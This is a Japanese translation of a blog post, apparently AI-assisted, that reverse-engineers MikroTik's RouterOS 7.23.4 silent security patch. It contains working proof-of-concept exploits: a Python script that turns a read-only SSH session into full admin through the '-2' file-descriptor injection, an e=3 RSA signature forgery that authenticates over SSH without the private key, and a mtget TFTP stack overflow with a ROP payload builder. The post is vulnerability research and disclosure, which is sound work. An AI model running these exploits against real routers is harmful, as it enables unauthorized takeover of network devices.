HN 日本語サマリー

← 一覧へ戻る
セキュリティ

MikroTikのサイレントパッチの解析:説明されなかったRouterOS 7.23.4の修正

Reversing MikroTik's Silent Patch: The RouterOS 7.23.4 Fix They Wouldn't Explain (npratley.net)

19 pointsby ytch7 コメント

要約

MikroTikのRouterOS 7.23.4で、説明なしに適用されたサイレントパッチについて解析した記事です。このパッチはセキュリティ上の脆弱性を修正した可能性が高いですが、MikroTikは詳細を明らかにしていません。この記事では、パッチの挙動をリバースエンジニアリングし、その内容を推測しています。

全文翻訳

MikroTikのサイレントパッチをリバースエンジニアリング:説明されなかったRouterOS 7.23.4の修正

これはAIによるもので、ラボで検証されました。数週間から数ヶ月かかる作業が6時間で完了しました。シャベルやポストホールドリラーを持っているのに、なぜ手を使う必要があるのでしょうか。

2026年9月3日、MikroTikはRouterOSの7.23.4(長期サポート版)、7.24.2(安定版)、および6.49.21(v6版)を同日にひっそりとリリースしました。いずれも同じメッセージを掲げていました。

これは重要なセキュリティアップデートです。ほとんどの設定はリスクにさらされていませんが、アップデートが強く推奨されます。システムをアップデートする時間を与えるため、現在詳細な情報は公開していません。

これは、「何かひどいものを見つけたので、パッチを当てた。十分な数のユーザーがアップデートするまで、それが何であるかは教えない」という意味です。それはそれで結構です。しかし、その文には巧妙な皮肉が込められています。修正されたバイナリを全世界に配布するなら、古いバージョンと新しいバージョンの差分こそが公開情報となります。この情報公開の延期は、パッチが適用されていないシステム群を保護するのではなく、ダウンロードミラーに置かれたパッチ適用済みバイナリを保護するものです。

そこで、これらのデバイスを運用しているオペレーターなら誰でも行うであろうことを実行しましょう。つまり、両方のバージョンを取得し、差分をリバースエンジニアリングして、何が変わったのかを突き止めることです。この記事は、静的な差分解析からコード実行の再現まで、その全過程を追います。実際には3つの脆弱性と2つの条件分岐があります。一つは、低指数RSA署名の偽造とmtgetのオーバーフローの組み合わせです。もう一つは、現在アクティブなエクスプロイトのサポートトレースと一致していますが、SSHのユーザー名が-2である場合に、レガシーなファイルディスクリプタログイン転送に到達し、認証済みの読み取り専用セッションが独自のフルポリシーマスクを提供できるようになるというものです。この2番目のパスは、完全なRouterOSコマンド実行を可能にし、それがmtgetに到達することもできます。私が再現できなかったのは、最初にSSHがリテラルユーザー-2を受け入れる、標準的で認証情報不要な方法です。その境界は重要であり、このリビジョンでは明示的に維持されています。

スキップしてほしいと彼らが願った一行

RouterOSの各リリースには、「安定性の向上」という箇条書きのリストが大量に付属します。サイレントなセキュリティリリースで重要なのは、すべてのメンテナンスされているブランチで同日に登場するエントリを見つけることです。なぜなら、複数のブランチにまたがる調整されたバックポートは、単一の深刻な修正の指紋だからです。変更履歴の差分を取ると、ちょうど1行が該当します。

*) ssh - SSH内部プロセスをリファクタリングし、システム安定性を向上させました;

7.23.4、7.24.2、6.49.21に存在し、7.23.3には存在しません。これが私たちがたどる糸口です。

NPKからビットを取り出す

RouterOSはNPK("Nova Package")ファイルとして配布されます。私はパッチ適用済みバージョンと以前のバージョンのx86ベースパッケージをそれぞれ約20MB取得しました。認証は不要です。

curl -O https://download.mikrotik.com/routeros/7.23.4/routeros-x86-7.23.4.npk
curl -O https://download.mikrotik.com/routeros/7.23.3/routeros-x86-7.23.3.npk

NPKはカスタムコンテナです。4バイトのマジックナンバー(1E F1 D0 BA)、TLV(Type-Length-Value)部分の羅列、署名ブロック、そして興味深い部分であるsquashfsペイロードが含まれています。binwalkがファイルシステムを見つけてくれます。

$ binwalk routeros-x86-7.23.4.npk
DECIMAL   HEXADECIMAL   DESCRIPTION
4096      0x1000        SquashFS filesystem, little endian, version 4.0,
                        compression: xz, size: 16650908 bytes

XZ圧縮された、リトルエンディアンのSquashFS 4.0です。オフセット0x1000からファイルシステムを抽出し、展開します。私のホストにはunsquashfsがなかったので、使い捨てのAlpineコンテナで処理しました。

dd if=routeros-x86-7.23.4.npk of=root.sqsh bs=4096 skip=1
docker run --rm -v "$PWD":/w -w /w alpine:3 sh -c 
  'apk add squashfs-tools >/dev/null; unsquashfs -d rootfs root.sqsh'

RouterOSは単一の巨大なデーモンではありません。/nova/bin/にある多数の小さな"nova"プロセスが、マスターのloaderプロセスによって仲介される内部メッセージバス上で通信しています。SSHサーバーはバンドル内にあり、興味深いことにクライアントとサーバーは同じバイナリです。

rootfs/bndl/security/nova/bin/sshd    <- SSHサーバー (sshとバイト単位で同一)
rootfs/lib/libucrypto.so              <- 暗号プリミティブ
rootfs/lib/libumsg.so                 <- メッセージバス + ログイン処理

シンボルレベルでの差分解析、バイトレベルではない

2つのsshdバイナリを単純にcmpで比較すると170KBの違いが報告されますが、これは役に立たないノイズです。.textセクションの先頭付近に数バイト挿入するだけで、それ以降のアドレスはすべてシフトするため、ファイル全体が「変化」します。信号はバイトではなく、シンボルにあります。ストリップされているかどうかにかかわらず、動的シンボルテーブルは残っており、エクスポートおよびインポートされたシンボルの差分を取ることで、意図に直接たどり着けます。

注意すべき落とし穴が一つあります。AlpineのBusyBox shにはプロセス置換機能がないため、diff <(...) <(...)はサイレントに2つの空のストリームを比較し、すべて同一と報告します。これに騙されると、何も変わっていないと確信してしまうでしょう。代わりに一時ファイルとcommを使用します。

nm -D old/$bin | awk '{print $NF}' | sort -u > a
nm -D new/$bin | awk '{print $NF}' | sort -u > b
comm -13 a b   # 新しいビルドで追加されたもの
comm -23 a b   # 削除されたもの

変更されたすべてのELFファイルに対してこれを実行すると、物語が明らかになります。2つの共有ライブラリが変更され、同じ数個のシンボルが多数のバイナリ全体でクラスターを形成して移動しています。

### lib/libumsg.so
  + _Z20validLoginParamInput11string_view

### lib/libucrypto.so
  + _ZN12RsaPublicKey23parseHashFromDerEncodedE6HashIDN4asn14blobE
  - _ZN12RsaPublicKey23parseHashFromDerEncodedEjN4asn14blobE

### 変更されたRSAルーチンを参照しているもの:
  sshd/ssh, ipsec, ipsec-worker, ssld, cloud

SSHに焦点を当てたシンボル差分解析により、2つの要素が明らかになりました。ターミナルログインパスでの新しいvalidLoginParamInputと、RSAパスでの変更されたparseHashFromDerEncodedです。より広範なスキャンにより、3つ目の要素が明らかになりました。nova/bin/mtgetがsnprintfとエラーメッセージFilename too longを追加しています。重要な修正点は、バリデーターが単なる化粧的な強化ではないということです。インタラクティブSSHでは、信頼されたargv/ポリシーの注入を閉じます。一方、mtgetは独立して到達可能なネイティブプロセスのメモリ破損プリミティブです。

パート1:-2はユーザー名ではなくファイルディスクリプタ

新しいvalidLoginParamInput関数は、空でない値のみを受け入れ、-またはスペースで始まらず、スペースで終わらず、制御バイトまたはDEL文字を含まない値のみを受け入れます。私の最初の解析は、特徴的なargvの強化を正しく特定しましたが、間違ったプロセスで停止しました。認証バックエンドである/nova/bin/userは何も実行せず、これらのリリース間でバイト単位で同一です。シンクは1プロセス後です:/nova/bin/login。

sshd 7.23.3、単純化:

execl("/nova/bin/login", "login",
      "-ssh", "-trace", trace,
      "-h"/"-mac", peer,
      "-c", command,
      authenticated_name, decimal_policy_mask, NULL)

これらの最後の2つの値は、位置引数です。変更されていないloginパーサーには、レガシーな内部転送メカニズムがあります。位置引数が-で始まる場合、ダッシュを削除し、残りをatoiで解析し、ディスクリプタ0から32までを受け入れ、そのディスクリプタから最大4096バイトを読み取り、最後にNULを要求し、バッファを2つのNUL区切りフィールドに分割します。これは、meptyが信頼されたログイン情報をargvに公開せずにパイプ経由で渡す方法です。

if positional[0] == '-':
    fd = atoi(positional + 1)
    blob = read_until_eof(fd, maximum=4096)
    require blob[-1] == 0
    field1 = blob before first NUL
    field2 = blob after first NUL

インタラクティブなSSHセッションの場合、fd 0、1、2はPTYスレーブの重複です。したがって、SSHユーザー名が-2であるということは、「信頼されたログイン位置引数を標準エラー出力/PTY fd 2から読み取って置き換える」ことを意味します。2番目の置換フィールドはstrtoul(..., 10)を通過し、認証ポリシーマスクになります。これはパスワードでも、セッションごとのランダムなハンドルでもありません。

脆弱性を無効に見せたターミナルの詳細

PTYは通常、カノニカルモードです。4096個のNULを送信しても、読み取りがクリーンに終了しません。ラインディシプリンは待機を続け、後でEnterキーを押すと最後のバイトが改行になり、パーサーが拒否します。正しいフレームワークは、2つのNUL終端フィールドの後に2つのターミナルVEOFバイト(0x04 0x04)です。最初のVEOFは、バイトを追加せずに保留中のバッファを配信し、2番目のVEOFは次の読み取りがEOFを返すようにします。

0\x00 654958\x00 \x04\x04
^     ^             ^
|     |             2つのカノニカルターミナルEOF
|     RouterOSのフルポリシーマスク (0x9fe6e)
最初の置換フィールド
再現:読み取り専用SSHからフルRouterOS管理へ

RouterOSは通常、-2という名前のローカルアカウントの作成を拒否するため、私はその正確なユーザー名に制限された使い捨てのRADIUSレスポンダーを使用して、認証後の境界を分離しました。SSHは外部IDを-2、グループをreadとして記録しました。上記のfd-2ブロックの後、RouterOSはこのコンソールを開きました。

[654958@CHR] > :put [/system identity get name]
CHR

# 書き込み可能な証明
/system identity set name=minus2-proof
:put [/system identity get name]
minus2-proof
/system identity set name=CHR

654958は0x9fe6e、RouterOSの正規化されたフルポリシーセットです。すべて1の32ビット値は、同じセットにクランプされます。これは単なる奇妙なプロンプトではありませんでした。外部の読み取り専用セッションは、書き込みおよびポリシーアクションを実行しました。その後、私はキャンペーン形状のアカウントを正確に作成してすぐに削除し、次のような結果を得ました。

user ops added by ssh:-2@172.31.88.5
  (*2 = /user add group=full name=ops)
user ops removed by ssh:-2@172.31.88.5/action:0
  (/user remove *2)

これは、影響を受けたルーターから報告されたものと同じ異常なペアです。設定変更はssh:-2@<アドレス>に起因し、その後opsユーザーがfullグループに追加されます。これは、共有文字列IOCだけでなく、このパスとの強力な行動一致です。

焦点を絞ったラボPoC

このクライアントは、ループバックまたはRFC1918ターゲットに意図的に制限されています。デフォルトのRouterOSコマンドは読み取り専用です。SSHレイヤーは、リテラルユーザー名-2を受け入れる必要があります。ドキュメント化されたラボでは、これはスコープされたRADIUSサーバーによって行われます。デフォルトのコマンドは読み取り専用です。ターゲットはループバック/RFC1918に制限されています。

#!/usr/bin/env python3
"""ラボ専用 RouterOS <=7.23.3 SSH ``-2`` PTYポリシー注入証明。

SSH認証レイヤーは、まずリテラルユーザー名 ``-2`` を受け入れる必要があります。
ドキュメント化されたラボでは、これは意図的にスコープされたRADIUSサーバーを使用して行われます。
デフォルトのコマンドは読み取り専用です。ターゲットはループバック/RFC1918に制限されています。
"""

from __future__ import annotations

import argparse
import ipaddress
import re
import socket
import time

import paramiko


ANSI = re.compile(rb"\x1b(?:\\[[0-?]*[ -/]*[@-~]|.)")
RFC1918 = tuple(
    ipaddress.ip_network(value) for value in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("host")
    parser.add_argument("--port", type=int, default=22)
    parser.add_argument("--password", required=True)
    parser.add_argument("--effective-name", default="0")
    parser.add_argument("--policy-mask", type=int, default=0xFFFFFFFF)
    parser.add_argument("--command", default=":put [/system identity get name]")
    parser.add_argument("--timeout", type=float, default=20.0)
    args = parser.parse_args()

    address = ipaddress.ip_address(socket.gethostbyname(args.host))
    if not (address.is_loopback or any(address in network for network in RFC1918)):
        parser.error("target must be loopback or RFC1918 lab address")
    if not 0 <= args.policy_mask <= 0xFFFFFFFF:
        parser.error("--policy-mask must fit in an unsigned 32-bit integer")
    if "\x00" in args.effective_name:
        parser.error("--effective-name cannot contain NUL")

    sock = socket.create_connection((args.host, args.port), timeout=10)
    transport = paramiko.Transport(sock)
    output = bytearray()
    try:
        transport.start_client(timeout=10)
        transport.auth_password("-2", args.password, fallback=False)
        channel = transport.open_session(timeout=10)
        channel.get_pty(term="vt100", width=80, height=24)
        channel.invoke_shell()

        # RouterOS login treats argv strings beginning with '-' as '-<fd>'.
        # Two NUL-delimited fields replace the normal name/policy positionals.
        # Two VEOF bytes make the canonical PTY return the block and then EOF.
        block = (
            args.effective_name.encode()
            + b"\x00"
            + str(args.policy_mask).encode()
            + b"\x00\x04\x04"
        )
        channel.sendall(block)

        deadline = time.monotonic() + args.timeout
        answered_decid = False
        answered_cpr = False
        command_sent = False
        while time.monotonic() < deadline:
            if channel.recv_ready():
                output.extend(channel.recv(4096))
                if not answered_decid and b"\x1bZ" in output:
                    channel.sendall(b"\x1b[?1;2c")
                    answered_decid = True
                if not answered_cpr and b"\x1b[6n" in output:
                    channel.sendall(b"\x1b[24;1R")
                    answered_cpr = True
                if not command_sent and b"] > " in ANSI.sub(b"", output):
                    channel.sendall(args.command.encode() + b"\r")
                    command_sent = True
            plain = ANSI.sub(b"", bytes(output))
            if command_sent and plain.count(b"] > ") >= 2:
                break
            if channel.closed:
                break
            time.sleep(0.05)

        while channel.recv_ready():
            output.extend(channel.recv(4096))
        clean = ANSI.sub(b"", bytes(output)).replace(b"\r", b"")
        print(clean.decode(errors="replace"))
        if b"invalid user input" in clean:
            print("patched control: username rejected before login child")
            return 2
        if not command_sent:
            print("no injected RouterOS prompt observed")
            return 1
        return 0
    finally:
        transport.close()


if __name__ == "__main__":
    raise SystemExit(main())
$ python3 routeros_minus2_pty_poc.py 172.31.88.2 --password x
0^@4294967295^@
[654958@CHR] > :put [/system identity get name]
CHR
[654958@CHR] > 

$ python3 routeros_minus2_pty_poc.py 172.31.88.3 --password x
invalid user input
patched control: username rejected before login child
7.23.4が修正したもの――そして未だ不明な点

7.23.4では、インタラクティブなログイン子プロセスを起動する前に、保存されたSSHユーザー名が検証されます。リテラルな-2はinvalid user inputとして拒否され、信頼されたファイルディスクリプタパーサーやRouterOSコンソールは起動しません。これが直接的な修正です。

エクスプロイトは依然としてSSHユーザー認証後に始まります。クリーンなローカル認証ラボでは、-2は正しいadminパスワード、adminに承認されたRSAキー、数値/ダッシュエイリアス-0から-3、任意のRSAおよびEd25519キー、攻撃者が所有するe=3キー、そして組み込みのGo Daddy e=3 CAキーの偽造署名で拒否されました。SSHのnone、キーボードインタラクティブ、埋め込みNULユーザー名、および成功後のユーザー名変更も失敗しました。変更された認証バックエンドはバイト単位で同一です。したがって、この作業は認証済みの読み取りからフルコマンド実行へのエスカレーションを確認しますが、SSHが-2を受け入れる標準的な認証情報不要な方法を生成するものではありません。フィールドターゲットがRADIUS/User Managerまたは他の外部AAAパスを使用していない場合、別途初期アクセスプリミティブが不足したままになります。

RouterOS 7.23.4には、/nova/bin/modeにインシデント修復のための明示的なコードも含まれています。これは、opsユーザーがfullグループにいること、疑わしいフェッチ/インポートスケジューラのエントリやキャンペーンドメインを認識し、既知の悪意のある設定を無効にし、検出された内容をログに記録し、再起動後にデバイスモードをflagged=yesに設定します。これは、サポートレポートやインシデント対応パッチと一致しており、一般的な安定性作業ではありません。

パート2:RSA署名検証器

これが興味深い部分です。parseHashFromDerEncodedは、RSA署名を検証するすべてのコンシューマーで変更されました。

libucrypto.so          それを定義します
sshd / ssh             SSH公開鍵認証        (インバウンド: クライアントの署名を検証します)
ipsec / ipsec-worker   IKEv2 IKE_AUTH             (インバウンド: ピアの証明書/署名を検証します)
ssld                   TLSハンドシェイク              (証明書検証; 方向は変動します)
cloud                  ACME / バックトゥホーム        (主にアウトバウンドピア検証)

SSH、IPsec、TLSの検証パスに同じルーチンが存在することは、優れた攻撃サーフェス発見です。それ自体が、いずれかがバイパス可能であるという証明ではありません。方向性を確立することが重要です。ipsecの場合、周囲の文字列はAUTHENTICATION_FAILED、peer does not conform to RFC 5996、およびcan't verify peer's certificateであり、これはIKE_AUTH中のリモートピアを検証しており、これは攻撃者提供でインバウンドです。ssldの場合、TLSハンドシェイク内の証明書検証であり、そのエクスプロイト可能性は方向と設定に完全に依存します。cloudの場合、主にMikroTik自身のサービスのアウトバウンド検証です。したがって、正直な範囲は次のとおりです。同じ検証器がSSH、IPsec、TLSの下にあります。それぞれがエクスプロイト可能かどうかは、プロトコルごとに個別の問題です。

次にルーチン自体です。これは、PKCS#1 v1.5署名内のDER DigestInfoからハッシュダイジェストを抽出します。タグが0x30(SEQUENCE)であることをチェックして入力され、これはPKCS#1パディングがすでにアップストリームで削除されていることを示しています。したがって、全体像は2つのレイヤーになります。呼び出し元は00 01 FF..FF 00を削除し、このルーチンが残りを解析します。

呼び出し元:パディングチェックの修正

libucryptoは、ここでワンショットのRSA検証を提供しません。SSHバイナリはsignature^e mod nを実行し、結果をモジュラス幅にシリアライズし、PKCS#1 v1.5エンベロープを削除し、残りのDigestInfoをparseHashFromDerEncodedに渡します。実際の7.23.3のチェックは次のとおりです。

EM = i2osp(signature^e mod n, modulus_bytes)
if next(EM) != 0x00: fail
if next(EM) != 0x01: fail
while peek(EM) == 0xFF: next(EM)
if next(EM) != 0x00: fail
digest = parseHashFromDerEncoded(expected_hash, remaining_EM)
return digest == calculated_digest

私の以前のリビジョンでは、ループは少なくとも8バイトのFFを必要とすると述べていました。そうではありません。私は0x805cb95..0x805cbd9周辺の指示を再読し、結果をテストしました。0バイトのFFも受け入れられます。受け入れられる最短のプレフィックスはしたがって00 01 00です。これは標準的なEMSA-PKCS1-v1_5よりも大幅に弱く、低指数偽造に多くの余地を与えます。

7.23.4が実際に追加したもの

古いDERルーチンは、外側のSEQUENCE、ハッシュOID、およびダイジェストOCTET STRINGをチェックし、ダイジェストの範囲を返します。オブジェクトの後に何も残っていないかどうかは問いません。SSH呼び出し元は、返された範囲を計算されたダイジェストとバイト単位で比較するため、古いダイジェスト長チェックの欠落はこの特定の呼び出し元では冗長です。無視された末尾は冗長ではありません。

; 7.23.4、ダイジェスト抽出後
cmp  dword [ebp-0x28], 0x100   ; DERリーダーのクリーンEOFセンチネル
jne  reject_trailing_bytes

; 期待されるダイジェストサイズ: 16,20,28,32,48,64
movzx expected_len, byte [hash_length_table + hash_id]
cmp   actual_digest_len, expected_len
jne   reject_bad_digest_length

0x100値はパーサーセンチネルであり、256バイトのRSAモジュラスチェックではありません。対応するパーサーは、クリーンEOFで0x100を、切り捨てで0x101を書き込みます。平易な言葉で言うと、7.23.4は、期待されるダイジェストは正確に期待される長さでなければならず、エンコードされたメッセージの最後の要素でなければならない、と述べています。

ラボ証明1:秘密鍵なしのSSH認証

以前のリビジョンでは、静的解析が正直な限界に達したため、ここで停止しました。実験は完了しました。7.23.3と7.23.4のCHRをローカルDocker/QEMUで並べて実行し、両方に同じ低権限ユーザーを作成し、同じ2048ビットRSA公開鍵(指数e=3)をインポートしました。クライアントは署名目的で公開鍵のみを保持しました。

偽造は以下のプレフィックスを構築し、2048ビット整数の下位部分をゼロで埋め、整数立方根を切り上げて計算します。

00 01 00 || DER(SHA-256 DigestInfo) || SHA256(SSHセッションブロブ) || ガベージ

e=3のため、検証は偽造署方を3乗します。高位のチェックされたプレフィックスは丸め処理を生き残ります。エラーは、7.23.3が無視する下位のガベージ部分に着地します。

#!/usr/bin/env python3
# forge_e3_ssh.py -- ラボPoC、ループバックに意図的に制限
import argparse, base64, hashlib, ipaddress, socket
from pathlib import Path
import paramiko
from paramiko.message import Message

DI_SHA256 = bytes.fromhex("3031300d060960864801650304020105000420")

def cbrt_floor(n):
    lo, hi = 0, 1 << ((n.bit_length() + 2) // 3 + 1)
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid ** 3 <= n: lo = mid
        else: hi = mid
    return lo

def forge(data, modulus_bytes):
    digest = hashlib.sha256(data).digest()
    prefix = b"\x00\x01\x00" + DI_SHA256 + digest
    target = int.from_bytes(prefix + b"\x00" * (modulus_bytes-len(prefix)), "big")
    s = cbrt_floor(target) + 1
    recovered = (s ** 3).to_bytes(modulus_bytes, "big")
    assert recovered.startswith(prefix)
    return s.to_bytes(modulus_bytes, "big")

class ForgedRSAKey(paramiko.RSAKey):
    def sign_ssh_data(self, data, algorithm=None):
        assert algorithm == "rsa-sha2-256"
        m = Message()
        m.add_string(algorithm)
        m.add_string(forge(bytes(data), self.get_bits() // 8))
        return m

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, required=True)
    ap.add_argument("--public-key", type=Path, required=True)
    ap.add_argument("--user", default="forge")
    ap.add_argument("--command-file", type=Path)
    args = ap.parse_args()
    assert ipaddress.ip_address("127.0.0.1").is_loopback

    fields = args.public_key.read_text().split()
    key = ForgedRSAKey(data=base64.b64decode(fields[1]))
    assert key.key.public_numbers().e == 3
    command = (args.command_file.read_text().strip() if args.command_file
               else ":put [/system resource get version]")

    sock = socket.create_connection(("127.0.0.1", args.port), timeout=10)
    t = paramiko.Transport(sock, disabled_algorithms={"pubkeys": ["rsa-sha2-512"]})
    t.start_client(timeout=10)
    try:
        t.auth_publickey(args.user, key)
    except paramiko.AuthenticationException:
        print("authentication rejected")
        return 1
    ch = t.open_session(timeout=10)
    ch.settimeout(15)
    ch.exec_command(command)
    try:
        print(ch.makefile("rb").read().decode(), end="")
    except socket.timeout:
        print("authenticated; command channel died with the target service")
    finally:
        t.close()

if __name__ == "__main__": raise SystemExit(main())

paramiko==5.0.0を使用した場合、結果は曖昧ではありませんでした。

$ python3 forge_e3_ssh.py --port 3223 --public-key e3.pub
7.23.3 (stable)

$ python3 forge_e3_ssh.py --port 2224 --public-key e3.pub
authentication rejected

これは、指定された前提条件(アカウントに既に承認されている既知のRSA e=3公開鍵が存在する)に対するエンドツーエンドのSSH認証バイパスです。「任意のe=3キーを持って管理者になれる」という意味ではなく、一般的なe=65537のブレークでもありません。公開鍵は秘密ではありませんが、攻撃者は依然として承認された特定の鍵を必要とします。

パート3:mtget TFTPパス名オーバーフロー

より広範なELFスキャンにより、当初は単なる一行のsprintf強化として片付けていた部分が見つかりました。/nova/bin/mtgetでは、脆弱なTFTPリクエストビルダーははるかに悪質です。7.23.3は、呼び出し元制御のリモートパス名を、無制限のrep movsbを持つ固定スタックパケットにコピーし、その後ろにモードとオプション文字列を付加します。

; 7.23.3 mtget, 単純化
lea  dst, [ebp-0x21a]       ; 固定スタックTFTPリクエストバッファ + オプコード
mov  ecx, remote_path.len
mov  esi, remote_path.ptr
rep  movsb                  ; バッファ容量との比較なし
mov  byte [dst+len], 0
..."octet", "blksize", "4096"... を追加...

7.23.4では、これを残りの容量カーソル、チェックされた追加、snprintf、および新しいユーザー表示可能なエラーFilename too longに置き換えています。

パス名は、TFTPサーバーからではなく、認証されたRouterOSコマンドから取得されます。

/tool fetch url="tftp://10.0.2.2/<attacker path>" keep-result=no

これにより、これ自体は認証後のバグですが、testポリシーで到達可能です。RouterOSの組み込みreadグループにはssh,read,testが含まれ、write,policyは除外されます。本来読み取り専用のオペレーターでも、脆弱なプロセスに到達できます。

クラッシュから制御されたEIPへ

両方のビルドに同じ700バイトのパス名を送信しました。7.23.4はfailure: Filename too longを返しました。7.23.3では、コマンドチャネルがハングし、RouterOSはサービス障害のためにautosupout.rifを生成し、ルーター自体は稼働し続けました。サポートファイルをローカルでデコードすると、次の結果が得られました。

/nova/bin/mtget
--- signal=11 ---
eip=0x41414141 eflags=0x00010202
edi=0x41414141 esi=0x41414141 ebp=0x41414141 esp=0xffffd820

542個のAとそれに続くBBBBのパターン化された実行により、eip=0x42424241と、スタックの先頭が42 43 43 43...となりました。保存されたEIPはリモートパスオフセット541から始まります。バイナリはNXですが、スタックカナリアはなく、0x08048000でPIEではなく、部分的なRELROを使用しています。リターン後のスタックは制御可能で、このx86 CHRプロセスでは安定しています。これは単純なROPプリミティブです。

意図的に無害なROP PoC

シェルを起動しませんでした。この証明は、通常のCLIを通じて使い捨てのファイルrop-sentinelを作成し、mtgetの固定unlink@pltにリターンしてそのファイルのみを削除します。次のリターンアドレスは意図的に無効な0x42424242であり、完了した呼び出しがクラッシュレコードで確認できるようになります。

#!/usr/bin/env python3
# mtget_rop_poc.py -- RouterOS 7.23.3 x86 CHRのみ
import struct

EIP_OFFSET     = 541
UNLINK_PLT     = 0x0804C250
RETURN_CRASH   = 0x42424242
STACK_AFTER_RET = 0xFFFFD820
MARKER         = b"/rw/disk/rop-sentinel"

def p32(x): return struct.pack("<I", x)

marker_offset = EIP_OFFSET + 12
marker_address = STACK_AFTER_RET + (marker_offset - (EIP_OFFSET + 4))
payload  = b"A" * EIP_OFFSET
payload += p32(UNLINK_PLT)
payload += p32(RETURN_CRASH)
payload += p32(marker_address)
payload += MARKER

safe = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._/"
escaped = "".join(chr(b) if b in safe else f"\\{b:02X}" for b in payload)
print('/tool fetch url=("tftp://10.0.2.2/" . "' + escaped + '") keep-result=no')

クラッシュ後のスナップショットは、関数呼び出しが実際に実行されたことを示しています。

eip=0x42424242             ; unlink後の意図的なリターン
esp=0xffffd824             ; コールを通じて進んだ
eax=0x00000000             ; unlink()は成功を返した
edx=0xffffd828
stack: 00 00 00 00 2f 72 77 2f 64 69 73 6b 2f 72 6f 70 ...

RouterOSのrop-sentinelのファイルカウントは1から0に変化しました。これは、クラッシュや主張された「おそらくエクスプロイト可能」な上書きではなく、確認された制御されたコード実行です。

2つのチェーンと、重要な境界

元のRSAからmtgetへのチェーンは、その指定された前提条件に対して有効なままです。

既知の承認済みRSA e=3公開鍵
  -> 秘密鍵なしでSSH rsa-sha2-256署名を偽造
  -> testポリシーを持つ認証済みユーザー
  -> 作成されたTFTPパス名
  -> mtgetの保存されたEIP上書きと固定アドレスROPコール

新しくクローズされたインシデント形状のパスは次のとおりです。

SSH認証がリテラルユーザー名 -2 を受け入れる       [前提条件]
  -> インタラクティブPTYシェルを要求
  -> loginが -2 を「fd 2から信頼されたフィールドを読み取る」と解釈
  -> 0\0 654958\0 VEOF VEOF を送信
  -> フルRouterOS管理コマンド実行  [確認済み]
  -> fullグループにopsを作成                         [確認済み]
  -> オプションでmtgetネイティブROPプリミティブに到達

2番目のチェーンはフィールド監査の指紋を正確に再現しますが、括弧内の最初のステップはクリーンな標準ラボでは解決されていません。キャンペーン全体を認証なしで呼び出すと、証拠を超えてしまいます。パッチ適用済みのユーザーパスを単なるログ強化と呼ぶことも同様に間違っています。

スコープ:深刻、条件付き、そして魔法ではない

  • 確認済み: SSHがリテラル-2を受け入れた後、PTYクライアントは信頼されたポリシーフィールドを置き換えることができ、7.23.3でRouterOS readセッションをフル0x9fe6eポリシーセットにエスカレートさせることができます。
  • 確認済み: そのセッションは書き込み/ポリシーアクションを実行でき、キャンペーン形状のuser ops added by ssh:-2@...レコードを生成します。
  • 確認済み: 7.23.4は同じPTYパスをinvalid user inputで拒否します。
  • 確認済み: 公開鍵のみのSSH認証は、7.23.3で既に既知の2048ビットRSA e=3キーにバインドされているアカウントに対して機能します。7.23.4は偽造を拒否します。
  • 確認済み: 認証された/tool fetchは7.23.3 mtgetでEIPを制御し、ROPコールが実行されます。
  • 未確認: クリーンなローカルユーザー構成でのリテラル-2としての認証情報不要SSH認証。
  • 主張しない: ユニバーサルRSA e=65537ブレーク、任意のユーザーログイン、またはエンドツーエンドのIKE/TLSバイパス。

バリデーターは現在、個別に実証された2つの効果を持っています。SSH PTYでは、信頼されたポリシー/argv注入を閉じ、認証後に-2としてフルRouterOS管理コマンド実行を生成します。MAC-Telnetでは、それ以下の隠しAPI/argvセレクターを閉じますが、その内部認証とポリシーチェックは依然として有効です。mtgetは、独立してパッチ適用されたネイティブプロセスROPプリミティブのままです。

MAC-Telnet:非認証RCEではなく、隠しAPIトンネル

/nova/bin/loginの新しい呼び出し元の一つがvalidLoginParamInputであるため、MAC-Telnetパスを個別に再調査しました。結果は興味深いですが、別の認証情報不要RCEチェーンを閉じるものではありません。

7.23.3では、最後の長さ区切りCP_USERNAMEが/nova/bin/loginの最後の引数として変更されずに渡されます。したがって、先頭のダッシュはloginオプションとして解析されます。-z、-c、-dなどのユーザー名でも、間違ったEC-SRPパスワードであっても、期待される失敗パスが新しいLogin:プロンプトに転用されます。これは実際の事前認証argv注入ですが、別のargv値を必要とするオプションは完了できません。ユーザー名は最後の引数であり、CP_TERM_TYPEは別の引数ではなくTERMになります。

より有用なセレクターは、正確な7バイトのユーザー名06 2f 6c 6f 67 69 6e、つまりb"\x06/login"です。先頭のバイトはRouterOS APIワード長です。7.23.3では、これはAPIスタイルのログインハンドラを選択し、MAC-Telnet経由で!done =ret=<challenge>を返します。7.23.4では、同一のパケットが終了します。

# 隔離されたL2ラボの公開EC-SRP5 mactelnet_client.pyと組み合わせて使用
from mactelnet_client import MACTelnetClient

def api_sentence(*words):
    return b"".join(bytes([len(w)]) + w for w in words) + b"\x00"

c = MACTelnetClient(TARGET_MAC, "\x06/login", "definitely-wrong")
c.connect()                 # 7.23.3はAPIスタイルの=retチャレンジを返します
c.send_data(api_sentence(b"/system/identity/print"))
# レスポンス: !fatal, "not logged in"

最後のレスポンスが境界です。内部の/loginリクエストに正しいパスワードを提供すると!doneが返され、その後/system/identity/printは=name=CHRを返しました。正しいパスワードを持つ使い捨てユーザーで、apiを意図的に除外したlocal,read,test,sshを含むグループであっても、std failure: not allowed (9)で拒否されました。有効な初期EC-SRP交換の後で最後のユーザー名を変更しても失敗し、すべてゼロ/低位のクライアント公開鍵では確認パスワードに依存しない確認は行われませんでした。

したがって、影響はIP APIサービスが有効、ファイアウォール設定済み、またはアドレス制限されているかどうかにかかわらず、同じブロードキャストドメインの隠しAPIトランスポートであり、それをバイパスします。RouterOSのパスワードデータベースやアカウントのapiポリシーをバイパスするものではありません。有効な認証情報があればAPIコマンドを送信でき、ポリシーが許可すればmtgetステージに到達できます。無効な場合、コンソール、APIセッション、またはコマンド実行は取得できませんでした。これをMAC-Telnet RCEと呼ぶのは間違いでしょう。

7.23.4のバリデーターは、その結果と完全に一致します。空の入力、先頭のダッシュまたはスペース、末尾のスペース、制御バイト00..1f、およびPTYを開く前の7fを拒否します。これにより、argv形式とx06/loginの両方がブロックされます。

同じ差分に隠されたその他の修正

